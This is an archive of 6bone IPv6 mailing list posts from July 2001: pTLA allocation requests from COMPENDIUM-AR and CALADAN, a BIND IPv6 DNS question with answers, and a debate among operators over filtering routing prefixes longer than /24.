>       1. The pTLA Applicant must have a minimum of three (3) months
>          qualifying experience as a 6Bone end-site or pNLA transit.   During
>          the entire qualifying period the Applicant must be operationally
>          providing the following:
>
>We're active as a pNLA in the 6bone since early 1999.
>
>          a. Fully maintained, up to date, 6Bone Registry entries for their
>             ipv6-site inet6num, mntner, and person objects, including each
>             tunnel that the Applicant has.
>
>ipv6-site:    COMPENDIUM-AR
>inet6num:     3FFE:29A1::/32
>
>          b. Fully maintained, and reliable, BGP4+ peering and connectivity
>             between the Applicant's boundary router and the appropriate
>             connection point into the 6Bone. This router must be IPv6
>             pingable. This criteria is judged by members of the 6Bone
>             Operations Group at the time of the Applicant's pTLA request.
>
>ipv6-gw.compendium.net.ar (3ffe:29a1::201:2ff:febf:1dc1) is
>our main IPv6 gateway.
>
>          c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>             entries for the Applicant's router(s) and at least one host
>             system.
>
>ipv6-gw.compendium.net.ar. 86400 IN     AAAA    3ffe:29a1::201:2ff:febf:1dc1
>
>Main router.
>
>tinuviel.compendium.net.ar. 86400 IN    AAAA    3ffe:29a1::200:21ff:fe47:2d95
>
>DNS and IRC server.
>
>palermo.compendium.net.ar. 86400 IN     AAAA    3ffe:29a1::2e0:7dff:fe83:a68
>
>IPv6 only host (lent by Universidad de Palermo for own joint network research
>projects)
>
>Reverse is set up at our DNS server (tinuviel.compendium.net.ar), but Sprint
>haven't delegated it yet, so it's non functional.
>
>          d. A fully maintained, and reliable, IPv6-accessible system
>             providing, at a mimimum, one or more web pages, describing the
>             Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>http://ipv6-gw.compendium.net.ar/
>
>       2. The pTLA Applicant MUST have the ability and intent to provide
>          "production-quality" 6Bone backbone service. Applicants must
>          provide a statement and information in support of this claim.
>          This MUST include the following:
>
>We have the ability and intent to provide production-quality 6Bone backbone
>service.
>
>          a. A support staff of two persons minimum, three preferable, with
>             person attributes registered for each in the ipv6-site object
>             for the pTLA applicant.
>
>person:       Horacio Jose Penya
>nic-hdl:      HJP1-6BONE
>
>(BTW, it's Peña, not Penya, but the registry don't allow my real name in)
>
>person:       Florencia Ithurralde
>nic-hdl:      FI-6BONE
>
>          b. A common mailbox for support contact purposes that all support
>             staff have acess to, pointed to with a notify attribute in the
>             ipv6-site object for the pTLA Applicant.
>
>notify:       ipv6@compendium.net.ar
>
>       3. The pTLA Applicant MUST have a potential "user community" that
>          would be served by its becoming a pTLA, e.g., the Applicant is a
>          major provider of Internet service in a region, country, or focus
>          of interest. Applicant must provide a statement and information in
>          support this claim.
>
>We've two different potential user communities.
>
>We work very closely with PuntoAr, a local ISP. They provide dialup and
>wireless access. We're planning to start providing their wireless customers
>IPv6 connectivity in the next months.
>
>And, we're organizing Uninet's "IPv6 en Hispanoamérica" project, where we're
>promoting IPv6 in the region. We're providing connections to 8 islands in
>the region, with 14 more in preparation.
>
>We've introduced IPv6 in Colombia (by CORUNIVERSITEC university) and are
>working on creating new islands in countries where there isn't any 6bone
>project yet, as Republica Dominicana, Nicaragua, Cuba and Venezuela.
>
>       4. The pTLA Applicant MUST commit to abide by the current 6Bone
>          operational rules and policies as they exist at time of its
>          application, and agree to abide by future 6Bone backbone
>          operational rules and policies as they evolve by consensus of the
>          6Bone backbone and user community.
>
>We commit to abide by current and future 6bone operational rules.
>
>-----
>
>Saludos,
>                                         HoraPe
>---
>Horacio J. Peña
>horape@compendium.com.ar
>horape@uninet.edu
>bofh@puntoar.net.ar
>horape@hcdn.gov.ar
-end


From 6bone-owner  Thu Jul  5 04:11:42 2001
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Hi!

Building my first IP v6 test network. Have router, and 3 nodes.

In my Solaris( machine, I have the DNS prepared with AAAA records. It
responds correctly to queries, but only if the QUERY comes across IPv4.

Questions:

- How can I get it to respond to DNS lookups (UDP 53) across V6?

- Does nslookup in solaris SUPPORT V6? When I say "server f6-6", wich is
the same machine, but a name with only the V6 address, it says "Server
failed".

- Does Linux or FreeBSD have a more complete V6 support for DNS, both
server and resolv?

/BosseN


-----------------------------------------------------------------
AVS:
Bo Nilsö, CSC Sweden, Linköping
Mail: bnilso@csc.com
Phone: +46 (0) 13 465 3631
-------------------------------------------------------------------


From 6bone-owner  Thu Jul  5 06:17:22 2001
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On Thu, 5 Jul 2001, Bo Nilso wrote:

> Hi!
>
> Building my first IP v6 test network. Have router, and 3 nodes.
>
> In my Solaris( machine, I have the DNS prepared with AAAA records. It
> responds correctly to queries, but only if the QUERY comes across IPv4.
>
> Questions:
>
> - How can I get it to respond to DNS lookups (UDP 53) across V6?

Have you put listen-on-ipv6 in named.conf ? (You _are_ running bind 9.x ?)
options {
        directory "/var/named";
        pid-file "/var/named/named.pid";
        listen-on-v6 { any; };
...

>
> - Does nslookup in solaris SUPPORT V6? When I say "server f6-6", wich is
> the same machine, but a name with only the V6 address, it says "Server
> failed".
# nslookup -q=aaaa hostname
>
> - Does Linux or FreeBSD have a more complete V6 support for DNS, both
> server and resolv?
You're not runnind bind 9.x, are you?
>
> /Bosse

Pete.



From 6bone-owner  Thu Jul  5 06:59:15 2001
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Date: Thu, 5 Jul 2001 15:44:55 +0200
From: Feico Dillema <feico@pasta.cs.uit.no>
To: Bo Nilso <bnilso@csc.com>
Cc: 6bone@ISI.EDU
Subject: Re: DNS support
Message-ID: <20010705154455.O23160@pasta.cs.uit.no>
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On Thu, Jul 05, 2001 at 01:11:05PM +0200, Bo Nilso wrote:
> - Does Linux or FreeBSD have a more complete V6 support for DNS, both
> server and resolv?
Yes, NetBSD and FreeBSD have IPv6 support in their resolvers... Am not
sure about Linux. Maybe my DNS proxy 'totd' is of use to you to, see:
http://www.vermicelli.pasta.cs.uit.no/ipv6/software.html
It is not tested on Solaris, so if you have problems just send me an
email (linux support will be in the next release).

Feico.

From 6bone-owner  Thu Jul  5 07:09:19 2001
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To: 6bone@ISI.EDU
Subject: 5 year anniversary!
From: Ole Troan <ot@cisco.com>
Date: 05 Jul 2001 15:09:17 +0100
Message-ID: <7t5r8vv1n8y.fsf@onatopp.cisco.com>
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please join us in a toast, we've now been connected to the 6bone for 5
years.

hopefully there will be no 6bone in another 5.

cheers,
Ole

From 6bone-owner  Fri Jul  6 07:30:10 2001
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From: Alfredo Lopez <alopez@tyr.mty.itesm.mx>
Subject: Re: pTLA request for COMPENDIUM-AR - review closes 18 July 2001
Cc: horape@tinuviel.compendium.net.ar
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6bone folk
compendium-ar has been working to promote the ipv6 use in  Latin America. 
Given the wotk done by COMPENDIUM , I support this request




>6bone Folk,
>
>COMPENDIUM-AR has requested a pTLA allocation. The open review period for 
>this request will close 18 July 2001. Please send your comments to me or 
>the list. As has been noted by various comments to this list, your 
>comments on these pTLA requests do matter, so please don't hesitate to 
>voice your support or concerns.
>
><http://whois.6bone.net/cgi-bin/whois?COMPENDIUM-AR >
>
><http://www.compendium.net.ar>
>
>
>Thanks,
>
>Bob


From 6bone-owner  Sun Jul  8 19:13:18 2001
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Date: Sun, 8 Jul 2001 19:09:44 -0700
From: David Kessens <david@IPRG.nokia.com>
To: horape@tinuviel.compendium.net.ar
Cc: 6bone@ISI.EDU
Subject: Re: New countries in the 6bone
Message-ID: <20010708190944.A2678@iprg.nokia.com>
References: <20010708225615.A14186@tinuviel.compendium.net.ar>
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Horacio,

On Sun, Jul 08, 2001 at 10:56:15PM -0300, horape@tinuviel.compendium.net.ar wrote:
> 
> David, could you made the changes needed in the 6bone registry so they can
> register? (DO and CU country codes)

Done.

David K.
---

From 6bone-owner  Mon Jul  9 04:22:54 2001
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Date: Mon, 9 Jul 2001 14:22:52 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: Filtering prefixes longer than /24
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Hi,

It appears some people are filtering prefixes longer than /24 in 6bone.
We'd like to advertise /32.

This was noticed when we wanted to change the peerings to a second router,
and moved a "backup one" first and forced the traffic go through there; to
certain locations, the return packets disappeared to the network
advertising /24.

The routing document says you MUST make arrangements with your peers if
you do longer advertisements, but advertising these prefixes doesn't help
any if they are being filtered by the third parties.

Filtering /48 and more specific is IMO ok to me, but /32 appears a little
too strict.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Mon Jul  9 05:45:42 2001
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To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@ISI.EDU
In-reply-to: pekkas's message of Mon, 09 Jul 2001 14:22:52 +0300.
      <Pine.LNX.4.33.0107091411310.7449-100000@netcore.fi> 
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Subject: Re: Filtering prefixes longer than /24 
From: itojun@iijlab.net
Date: Mon, 09 Jul 2001 21:45:33 +0900
Message-ID: <13564.994682733@itojun.org>
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>It appears some people are filtering prefixes longer than /24 in 6bone.
>We'd like to advertise /32.
>This was noticed when we wanted to change the peerings to a second router,
>and moved a "backup one" first and forced the traffic go through there; to
>certain locations, the return packets disappeared to the network
>advertising /24.
>The routing document says you MUST make arrangements with your peers if
>you do longer advertisements, but advertising these prefixes doesn't help
>any if they are being filtered by the third parties.

	because third parties are not in your arrangements.

>Filtering /48 and more specific is IMO ok to me, but /32 appears a little
>too strict.

	based on RFC2772 recommendation, i see the following filter in
	many places.  how do you measure "too strict"?

ipv6 prefix-list 6bone-filter seq 5 permit 3ffe::/17 le 24 ge 24
ipv6 prefix-list 6bone-filter seq 10 permit 3ffe:8000::/17 le 28 ge 28
ipv6 prefix-list 6bone-filter seq 12 deny 3ffe::/16
ipv6 prefix-list 6bone-filter seq 15 permit 2000::/3 le 16 ge 16
ipv6 prefix-list 6bone-filter seq 20 permit 2001::/16 le 35 ge 29

itojun

From 6bone-owner  Mon Jul  9 06:05:55 2001
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Date: Mon, 9 Jul 2001 16:05:49 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: <itojun@iijlab.net>
cc: <6bone@ISI.EDU>
Subject: Re: Filtering prefixes longer than /24 
In-Reply-To: <13564.994682733@itojun.org>
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On Mon, 9 Jul 2001 itojun@iijlab.net wrote:
> >The routing document says you MUST make arrangements with your peers if
> >you do longer advertisements, but advertising these prefixes doesn't help
> >any if they are being filtered by the third parties.
>
> 	because third parties are not in your arrangements.

True, which is why I'm taking up the issue for general consideration.

> >Filtering /48 and more specific is IMO ok to me, but /32 appears a little
> >too strict.
>
> 	based on RFC2772 recommendation, i see the following filter in
> 	many places.   how do you measure "too strict"?
>
> ipv6 prefix-list 6bone-filter seq 5 permit 3ffe::/17 le 24 ge 24
> ipv6 prefix-list 6bone-filter seq 10 permit 3ffe:8000::/17 le 28 ge 28
> ipv6 prefix-list 6bone-filter seq 12 deny 3ffe::/16
> ipv6 prefix-list 6bone-filter seq 15 permit 2000::/3 le 16 ge 16
> ipv6 prefix-list 6bone-filter seq 20 permit 2001::/16 le 35 ge 29

With "too strict" I mean preventing prefixes that:
 - aren't there by accident (redistributing connected and static
routes causing various /64 - /128 in DFZ)
 - don't bloat the routing table by too specific routes (/48) as a
principle
 - could actually be used in some valid environments (if your upstream
pTLA peering isn't optimal, you can't go peer with anyone else, or create
backup peering; you have to renumber the site or use two addresses in each
box..)

Ie, the current behaviour is easily defined, but also kind of "because we
can".

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Mon Jul  9 11:35:21 2001
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To: itojun@iijlab.net
cc: Pekka Savola <pekkas@netcore.fi>, 6bone@ISI.EDU
Subject: Re: Filtering prefixes longer than /24 
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I think the basis for 2772 was to establish a 'minimal' set of filtering
guidelines upon which we could form a 'stable' 6bone. Without at least this
much participation in filtering, it would be difficult to find problems in
Ipv6 deployment (at the protocol level; not necessarily the
implementations).  What one does with their immediate upstream for
load-sharing when they have multiple connections to one upstream is up to
them and their upstream. I agree with Itojun here.

If this makes multi-homing difficult, or the like; that is sort of the
point. This is all supposed to be aggregatable at the most fundamental
levels, thus putting a top limit on the number of non-customer routes a TLA
will have to carry. Violating this just adds factors of 2 to the routing
table size, in theoretical limit.  I agree there is problems, specifically
in multi-homing.  The goal was to fix the problems with multi-homing, and
this was a good way to bring the problems out.  IMHO, I don't want to fix
the symptoms.

If you are homed to one provider with multiple connections, and have a /32
from them, one can either negotiate de-aggregation with them, or use other
BGP attributes to make one's desired policy to work. If you are announcing
pTLA A's /32 to pTLA B, and this caused a problem when you moved, then you
have violated rfc2772 already.  

Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
Sprint E|Solutions: Thinking outside the 435 box
-----------------------------------------------------------------------

On Mon, 9 Jul 2001 itojun@iijlab.net wrote:

->>It appears some people are filtering prefixes longer than /24 in 6bone.
->>We'd like to advertise /32.
->>This was noticed when we wanted to change the peerings to a second router,
->>and moved a "backup one" first and forced the traffic go through there; to
->>certain locations, the return packets disappeared to the network
->>advertising /24.
->>The routing document says you MUST make arrangements with your peers if
->>you do longer advertisements, but advertising these prefixes doesn't help
->>any if they are being filtered by the third parties.
->
->	because third parties are not in your arrangements.
->
->>Filtering /48 and more specific is IMO ok to me, but /32 appears a little
->>too strict.
->
->	based on RFC2772 recommendation, i see the following filter in
->	many places.  how do you measure "too strict"?
->
->ipv6 prefix-list 6bone-filter seq 5 permit 3ffe::/17 le 24 ge 24
->ipv6 prefix-list 6bone-filter seq 10 permit 3ffe:8000::/17 le 28 ge 28
->ipv6 prefix-list 6bone-filter seq 12 deny 3ffe::/16
->ipv6 prefix-list 6bone-filter seq 15 permit 2000::/3 le 16 ge 16
->ipv6 prefix-list 6bone-filter seq 20 permit 2001::/16 le 35 ge 29
->
->itojun
->


From 6bone-owner  Mon Jul  9 12:45:41 2001
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Date: Mon, 9 Jul 2001 22:45:19 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: "Robert J. Rockell" <rrockell@sprint.net>
cc: <itojun@iijlab.net>, <6bone@ISI.EDU>
Subject: Re: Filtering prefixes longer than /24 
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On Mon, 9 Jul 2001, Robert J. Rockell wrote:
> If this makes multi-homing difficult, or the like; that is sort of the
> point. This is all supposed to be aggregatable at the most fundamental
> levels, thus putting a top limit on the number of non-customer routes a TLA
> will have to carry. Violating this just adds factors of 2 to the routing
> table size, in theoretical limit.  I agree there is problems, specifically
> in multi-homing.  The goal was to fix the problems with multi-homing, and
> this was a good way to bring the problems out.  IMHO, I don't want to fix
> the symptoms.

This might lead to a trend where organizations not really needing pTLA
assignment apply for one, instead of getting a fragment from an existing
pTLA -- if this is the only way to avoid multihoming considerations.  I'm
not sure about the multihoming status, but I don't think it's really
scales up to 6bone /32's and the like, connecting dozens of sites which
would also need to multihome or renumber -- the maximum unit is a /48 site
at most I think.

Ie. this probably leads to an increase of pTLA or equivalent
"non-filtered" organizations which may not be good from the aggregation
point of view either.

The scaling of IPv6 wrt. routing table size is IMO a big non-issue; a
remnant from the '95 when people started to get worried about the growth
of DFZ.

Nowadays 100,000 routes is no big deal.  Any "core" router which should be
able to get full internet table can deal with this without problems.  You
shouldn't be participating with your old 4500 Cisco with 16 MB of memory.
Thus, I don't see what's the point of trying to minimize the size with all
costs.

Currently, the effectively changing IPv6 prefix size is smaller than with
IPv4, and the population of it going to be sparser.  Also remember a big
problem of current IPv4 routing table size are small advertisements,
like /24 and /23 -- with IPv6 these are all within one /48, and are thus
automatically very effectively aggregated.


What's more worrying is complete fragmentation wrt. RIR allocations.
Suppose all dial-up's and DSL's etc. are all given /48 as IESG requires.
In effect, this requires RIR's take back (or assign new ones) all the
current /35 allocations, and use a much sparser mode, like:

really huge ISP's: /16
basic block for an ISP participating in DFZ: /24
smaller ISP: /32
small ISP: /40
site: /48

Without this, the current scheme is bound for disaster, and not because of
someone is filtering a little longer than /24 when /24 is a basic
allocation.

> If you are announcing
> pTLA A's /32 to pTLA B, and this caused a problem when you moved, then you
> have violated rfc2772 already.

This is the case, but I fail to see the big problem with this.

In a "perfect world", organizations in this situation would renumber, use
multihoming or whatever; in real world both are diffcult and the problem
is avoided by getting a pTLA on your own.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From 6bone-owner  Mon Jul  9 15:56:42 2001
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To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@ISI.EDU
In-reply-to: pekkas's message of Mon, 09 Jul 2001 22:45:19 +0300.
      <Pine.LNX.4.33.0107092209140.9778-100000@netcore.fi> 
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Subject: Re: Filtering prefixes longer than /24 
From: itojun@iijlab.net
Date: Tue, 10 Jul 2001 07:56:37 +0900
Message-ID: <19169.994719397@itojun.org>
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>The scaling of IPv6 wrt. routing table size is IMO a big non-issue; a
>remnant from the '95 when people started to get worried about the growth
>of DFZ.
>
>Nowadays 100,000 routes is no big deal.  Any "core" router which should be
>able to get full internet table can deal with this without problems.  You
>shouldn't be participating with your old 4500 Cisco with 16 MB of memory.
>Thus, I don't see what's the point of trying to minimize the size with all
>costs.

	two comments:
	- core routers need to carry both IPv4 full routing table and IPv6
	  full routing table, until we phase out IPv4.
	  (or you need to babysit separate routers, separate fibers...)
	- routing table in IPv6 will eat 4 times more memory than IPv4
	  if the # of entries is the same.
	so I believe it is not a "non-issue" (or it is safer to think that way).

	does anyone have performance measurement/whatever with big big big
	IPv6 routing table installed onto a router?  what is the routing table
	size vendors use for toture-test?

>Currently, the effectively changing IPv6 prefix size is smaller than with
>IPv4, and the population of it going to be sparser.  Also remember a big
>problem of current IPv4 routing table size are small advertisements,
>like /24 and /23 -- with IPv6 these are all within one /48, and are thus
>automatically very effectively aggregated.

	we can *potentially* have a lot of routes if you advertise /48 to
	worldwide.  compare 2^(48-16) and 2^(24-8).

itojun

From 6bone-owner  Mon Jul  9 17:29:27 2001
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Date: Mon, 9 Jul 2001 20:23:06 -0400
From: Dorian Kim <dorian@blackrose.org>
To: itojun@iijlab.net
Cc: Pekka Savola <pekkas@netcore.fi>, 6bone@ISI.EDU
Subject: Re: Filtering prefixes longer than /24
Message-ID: <20010709202306.B10643@blackrose.org>
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On Tue, Jul 10, 2001 at 07:56:37AM +0900, itojun@iijlab.net wrote:
> >The scaling of IPv6 wrt. routing table size is IMO a big non-issue; a
> >remnant from the '95 when people started to get worried about the growth
> >of DFZ.
> >
> >Nowadays 100,000 routes is no big deal.  Any "core" router which should be
> >able to get full internet table can deal with this without problems.  You
> >shouldn't be participating with your old 4500 Cisco with 16 MB of memory.
> >Thus, I don't see what's the point of trying to minimize the size with all
> >costs.
> 
> 	two comments:
> 	- core routers need to carry both IPv4 full routing table and IPv6
> 	  full routing table, until we phase out IPv4.
> 	  (or you need to babysit separate routers, separate fibers...)
> 	- routing table in IPv6 will eat 4 times more memory than IPv4
> 	  if the # of entries is the same.
> 	so I believe it is not a "non-issue" (or it is safer to think that way).

All good and valid points. Furthermore, real concern regarding routing
table size now, as was in mid 90s isn't so much to do with handling the 
memory requirements related to prefix table, but rather scaling the 
computational power necessary to do path computation in an Internet whose 
path diverity is increasing rapidly along with prefix table size.

There are networks today that are seeing internal prefix table size in excess 
of 200,000 prefixes and millions of paths.

When things grow faster than Moore's law for long enough, you lose, and
we've jumped back on that trajectory after the temporary breaking affects
post-CIDR.

Of course, when people need a multi-million-dollar-liquid-cooled-faster-than-
Cray-SV2 for every default free router, perhaps economic barrier to entry
will solve this problems for us...

-dorian

From 6bone-owner  Mon Jul  9 23:17:25 2001
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	Tue, 10 Jul 2001 09:17:14 +0300
Date: Tue, 10 Jul 2001 09:17:13 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: <itojun@iijlab.net>
cc: <6bone@ISI.EDU>
Subject: Re: Filtering prefixes longer than /24 
In-Reply-To: <19169.994719397@itojun.org>
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On Tue, 10 Jul 2001 itojun@iijlab.net wrote:

> >The scaling of IPv6 wrt. routing table size is IMO a big non-issue; a
> >remnant from the '95 when people started to get worried about the growth
> >of DFZ.
> >
> >Nowadays 100,000 routes is no big deal.  Any "core" router which should be
> >able to get full internet table can deal with this without problems.  You
> >shouldn't be participating with your old 4500 Cisco with 16 MB of memory.
> >Thus, I don't see what's the point of trying to minimize the size with all
> >costs.
>
> 	two comments:
> 	- core routers need to carry both IPv4 full routing table and IPv6
> 	  full routing table, until we phase out IPv4.
> 	  (or you need to babysit separate routers, separate fibers...)
> 	- routing table in IPv6 will eat 4 times more memory than IPv4
> 	  if the # of entries is the same.
> 	so I believe it is not a "non-issue" (or it is safer to think that way).

You're right; it's not a complete non-issue, but I feel it's very safe to
assume that at least 10,000 routes can be handled just fine.  Building
IPv6 routing archtitecture on the fact that aggregation is very aggressive
and DFZ has only e.g. less than 500 routes or the like would probably lead
to some sort of CIDR disaster.

> 	does anyone have performance measurement/whatever with big big big
> 	IPv6 routing table installed onto a router?  what is the routing table
> 	size vendors use for toture-test?

This would be interesting to know.

>From Dorian's mail:
> All good and valid points. Furthermore, real concern regarding routing
> table size now, as was in mid 90s isn't so much to do with handling the
> memory requirements related to prefix table, but rather scaling the
> computational power necessary to do path computation in an Internet
> whose path diverity is increasing rapidly along with prefix table size.

Calculating these once doesn't appear to be a big problem, and the
effect of more consistent changes are reduced by flap dampening.

> >Currently, the effectively changing IPv6 prefix size is smaller than with
> >IPv4, and the population of it going to be sparser.  Also remember a big
> >problem of current IPv4 routing table size are small advertisements,
> >like /24 and /23 -- with IPv6 these are all within one /48, and are thus
> >automatically very effectively aggregated.
>
> 	we can *potentially* have a lot of routes if you advertise /48 to
> 	worldwide.  compare 2^(48-16) and 2^(24-8).

Well, you can get a lot of routes if you advertise every address as it's
own route; this is what I feel is the equivalent in ipv4 world of of
advertising /48's.

Current multihoming mechanisms deal with one site.  You cannot use these
to multihome a (non-pTLA) ISP the address space of which is allocated to a
dozen sites.  Only thing you could do, I suppose, is getting your pTLA and
some foreign pTLA do some peering (doesn't work in the real world) to
protect against your physical link to pTLA ISP failing.

On the other hand, currently:

 - 6bone MUST: ~2^(28-16) = 2^12
 - 6bone idea: 2^(32-16) = 2^16
 - IPv6 RIR (effective): 2^(25-16) = 2^9
 - IPv6 RIR (theoretical): 2^(32-16) = 2^16

In addition, the allocations are not as dense as in IPv4.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From 6bone-owner  Tue Jul 10 00:46:50 2001
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      <Pine.LNX.4.33.0107100842380.12856-100000@netcore.fi> 
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Subject: Re: Filtering prefixes longer than /24 
From: itojun@iijlab.net
Date: Tue, 10 Jul 2001 16:46:44 +0900
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>You're right; it's not a complete non-issue, but I feel it's very safe to
>assume that at least 10,000 routes can be handled just fine.  Building
>IPv6 routing archtitecture on the fact that aggregation is very aggressive
>and DFZ has only e.g. less than 500 routes or the like would probably lead
>to some sort of CIDR disaster.

	who is going to decide whether you are within the first 10000
	(lucky) routes, or you are outside of it and now can't advertise?

	there are other multihoming mechanisms that does not impact worldwide
	routing table size.  for example, draft-ietf-ipngwg-ipv6-2260-01.txt
	and some others.  you may want to try these.
	(but "multihoming" is rather a vague term, so the goals may be
	different by who you talk to - the goals of the above draft is
	clearly stated in the draft)

itojun

From 6bone-owner  Tue Jul 10 01:04:28 2001
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Date: Tue, 10 Jul 2001 11:04:20 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: <itojun@iijlab.net>
cc: <6bone@ISI.EDU>
Subject: Re: Filtering prefixes longer than /24 
In-Reply-To: <25354.994751204@itojun.org>
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On Tue, 10 Jul 2001 itojun@iijlab.net wrote:
> >You're right; it's not a complete non-issue, but I feel it's very safe to
> >assume that at least 10,000 routes can be handled just fine.  Building
> >IPv6 routing archtitecture on the fact that aggregation is very aggressive
> >and DFZ has only e.g. less than 500 routes or the like would probably lead
> >to some sort of CIDR disaster.
>
> 	who is going to decide whether you are within the first 10000
> 	(lucky) routes, or you are outside of it and now can't advertise?

Currently full 6bone routing table is like 260 routes (if not filtered).
Filtered to the maximum, it's like 160.

By allowing something I don't think it immediately means everyone starts
doing so.  By defining the limit just so, the increase might not even be
that significant.

> 	there are other multihoming mechanisms that does not impact worldwide
> 	routing table size.  for example, draft-ietf-ipngwg-ipv6-2260-01.txt
> 	and some others.  you may want to try these.
> 	(but "multihoming" is rather a vague term, so the goals may be
> 	different by who you talk to - the goals of the above draft is
> 	clearly stated in the draft)

This only protects from YourOrg-ISP link failure.  Often you might want to
protect from routing failures of your ISP too, or set preference when
using multiple peers (e.g. if your ISP's peering gets too bad).

Anyway.. this doesn't seem to be going anywhere so I guess we'll just
start to use the RIR assigned /35 more aggressively and flush out the
6bone /32.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Tue Jul 10 06:33:35 2001
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Date: Tue, 10 Jul 2001 08:33:25 -0500
From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: Filtering prefixes longer than /24
In-reply-to: "10 Jul 2001 07:56:37 +0900." <19169.994719397@itojun.org>
To: itojun@iijlab.net
Cc: 6bone@ISI.EDU
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> 	- routing table in IPv6 will eat 4 times more memory than IPv4
> 	  if the # of entries is the same.

It shouldn't be more than 2 times, for the currently defined unicast
address formats.  If you can be flexible on alignment, maybe even
closer to 1.5 times.


From 6bone-owner  Tue Jul 10 11:12:48 2001
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Subject: Re: Filtering prefixes longer than /24 
In-reply-to: Your message of "Tue, 10 Jul 2001 08:33:25 CDT."
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>>>>> "Matt" == Matt Crawford <crawdad@fnal.gov> writes:
    >> - routing table in IPv6 will eat 4 times more memory than IPv4
    >> if the # of entries is the same.

    Matt> It shouldn't be more than 2 times, for the currently defined unicast
    Matt> address formats.  If you can be flexible on alignment, maybe even
    Matt> closer to 1.5 times.

  It shouldn't, but hardware people building CAM based table lookup engines
do not benefit from the left associative routing stuff, so it does take 4x
times.
  2x times if the vendor is willing to compromise on dmakign /64s the longest
they will do in the fast path.

]       ON HUMILITY: to err is human. To moo, bovine.           |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another NetBSD/notebook using, kernel hacking, security guy");  [


From 6bone-owner  Tue Jul 10 13:29:01 2001
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Date: Tue, 10 Jul 2001 13:28:42 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for CALADAN - review closes 24 July 2001
Cc: "Chris Smith" <chris@caladan.net>
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6bone Folk,

CALADAN has requested a pTLA allocation. The open review period for this 
request will close 24 July 2001. Please send your comments to me or the 
list. As has been noted by various comments to this list, your comments on 
these pTLA requests do matter, so please don't hesitate to voice your 
support or concerns.

<http://whois.6bone.net/cgi-bin/whois?CALADAN>

<http://www.caladan.net>


Thanks,

Bob

===
>From: "Chris Smith" <chris@caladan.net>
>To: <fink@es.net>
>Subject: 6bone pTLA Request
>Date: Tue, 10 Jul 2001 17:52:27 +0100
>
>Hi Bob,
>
>We would like to apply for a pTLA allocation:
>
>1. We have been operational since February 2001
>
>a) ipv6-site: CALADAN
>
>b) tunnel: IPV6 in IPV6 fremen.ip6.caladan.net -> 6r1.doc.london.pipex.net
>UUNET-UK BGP4+
>
>c) nameserver is thns.ip6.caladan.net
>
>d) www.ip6.caladan.net
>
>2. We are a UK based ISP, with our own racks in Telehouse North. We
>currently have an ethernet feed from UUNET, but have just applied to peer at
>the ipv6 London exchange in Telehouse. We have an open peering policy both
>for ipv4 and ipv6 and are therefore happy to peer with anyone who is
>interested. We are also happy to provide IP transit to anyone interested,
>either by direct connect or via tunnels.
>
>a) We have two people registered in the database as contacts for ipv6
>related  queries.
>
>b) ipv6@caladan.net
>
>3. We are RIPE members and currently provide ipv4 bandwidth to our
>customers, some of which have expressed an interest in ipv6.
>
>4. We agree to abide by the rules as they exist now and as they may evolve
>in the future.
>
>Regards,
>Chris Smith



From 6bone-owner  Tue Jul 10 21:52:09 2001
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From: Robert Elz <kre@munnari.OZ.AU>
To: Pekka Savola <pekkas@netcore.fi>
cc: itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: Filtering prefixes longer than /24 
In-Reply-To: <Pine.LNX.4.33.0107101054440.13474-100000@netcore.fi> 
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    Date:        Tue, 10 Jul 2001 11:04:20 +0300 (EEST)
    From:        Pekka Savola <pekkas@netcore.fi>
    Message-ID:  <Pine.LNX.4.33.0107101054440.13474-100000@netcore.fi>


  | By allowing something I don't think it immediately means everyone starts
  | doing so.  By defining the limit just so, the increase might not even be
  | that significant.

There's no question, the 6bone could easily survive now with everyone 
announcing whatever they like ...

But the point of the 6bone is to be able to test the real (full scale) 
environment.   That means sites not advertising private prefixes, no
matter what the justification seems to be, because if any site can justify
that, so can every site.

If this means that you need to renumber to fit in the 6bone addresses
from your pTLA, then renumber - that's what all this is supposed to be
about.   And then contribute back whatever you learn from that, so we
can try and make it easier in the future.

kre


From 6bone-owner  Wed Jul 11 00:30:13 2001
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From: "Pavel Satrapa" <Pavel.Satrapa@vslib.cz>
Organization:  Technical University of Liberec
To: 6bone@ISI.EDU
Date:          Wed, 11 Jul 2001 09:30:04 +0200
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Subject:       Re: Filtering prefixes longer than /24 
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> But the point of the 6bone is to be able to test the real (full scale)
> environment.   That means sites not advertising private prefixes, no

Clear. But the real SubTLA prefixes assigned by RIPE NCC (and probably by
other registries too) are /35 :-(  It looks like the production IPv6
network will be aggregated at the /35 level.

----------------------------------------------------------------------
 Pavel Satrapa                    Technical University of Liberec
 E-Mail: Pavel.Satrapa@vslib.cz   Dept. of Information Technology
 Phone:  +420-48-535-2385         Halkova 6, 461 17 Liberec
 Fax:    +420-48-535-2229         Czech Republic
